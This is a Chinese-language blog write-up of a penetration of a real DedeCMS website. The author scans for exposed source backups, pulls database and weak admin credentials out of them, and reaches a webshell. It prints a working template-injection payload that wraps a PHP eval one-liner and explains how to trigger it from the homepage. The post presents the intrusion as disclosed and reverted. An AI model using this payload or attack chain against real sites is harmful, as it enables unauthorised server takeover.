记一次从源码泄露到getshell

记一次从源码泄露到getshell

前言:

首发于先知社区:记一次从源码泄露到getshell

此次渗透中的所有修改已经复原,且漏洞已经提交至cnvd平台

源码泄露

在一个月黑风高的夜晚,闲来无事的我又开着脚本利用hunter进行互联网站点源码的扫描

在查看备份文件扫描结果时,看到了宝贝

image-20211214193708639

二话不说,访问下载得到源码!

可以在注释信息处发现dedecms的痕迹

image-20211214193751676

敏感信息泄露

获得源码的第一步当然是获取敏感信息

先尝试全局搜索(crtl+shift+f)关键词

key
pwd
passwd
password

1.数据库信息泄露

image-20211214181425720

2.后台管理员密码泄露

image-20211214183126309

md5解密尝试解密,居然是一个弱口令

image-20211214183057010

有了账户密码后当然是要找到后台管理地址,那么有了源码后台管理地址还不是手到擒来?

后台RCE->getshell

源码中找到后台地址(居然改了个888)

image-20211214201708314

用泄露的admin/admin888进入后台后,发现版本信息为dedecms PS1

历史漏洞

查找SP1历史漏洞都是远程代码包含漏洞,但是这个站点已经将关键文件install.php删除(源码中不存在)

抱着侥幸心里又去尝试访问l一下(说不定后来又加上了呢)确实不存在,只能继续查看其他功能点

然后也尝试测试了许多SP2的漏洞payload但均失败

继续测试其他点

继续查看发现系统设置->系统基本参数->其他选项中有模板引擎的禁用函数

image-20211214194020145

但是明明没有模板引擎功能他为什么要禁用呢?

我带着这个疑问又重新翻看源码

果然又找到模板相关文件,(说明只是功能点被隐藏,文件依旧还在)

image-20211214194129962

尝试访问,成功访问到并且能够正常执行

image-20211214194202553

那么就好办了,根据dedecms模板规则,后台模板写入payload,访问即可执行PHP代码

{dede:field name='source' runphp='yes'}@eval($_POST['lyy']);{/dede:field}
//调用方式 [field:字段名/] 这里的关键是runphp='yes'
//php代码则是简单的一句话

然后去将其他选项中的禁用函数全部删除保存

image-20211214192831313

因为注入到了index.htm

所以连接webshell 的 url为首页

http://xxxxx:9890/index.php

image-20211214193411871

成功getshell

image-20211214194742332

本来还应该通过源码泄露得到的数据库账户密码尝试连接数据库的,但这里删shell跑路太急了就忘记了测了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值